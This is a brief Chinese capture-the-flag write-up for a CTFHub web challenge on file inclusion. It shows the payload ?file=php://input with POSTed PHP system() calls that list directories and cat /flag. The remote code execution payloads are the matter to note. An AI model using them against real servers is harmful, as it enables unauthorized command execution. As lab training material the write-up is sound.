CTFHUB-技能树-Web题-RCE(远程代码执行)-文件包含—远程包含
首先查看代码

还记得strpos函数吗,这段代码意思就是判断输入是否有flag字段,

如果有就输出hacker
没有就进行include
PHPinfo当中也表明php://input可以用

那么,利用php://input来寻找flag
bp抓包,url中输入
payload:
?file=php://input
post传参
<?php system("ls"); ?> 查看当前目录

没有flag,查看上一级目录
<?php system("ls ../"); ?> 查看上一级目录

没有flag,继续,查看上一级目录
<?php system("ls ../../"); ?> 查看上上一级目录

还是没有,继续往上查看
<?php system("ls ../../../"); ?> 查看上上上一级目录

也可以直接查看根目录,
<?php system("ls /"); ?>
查看flag
<?php system("cat /flag"); ?>

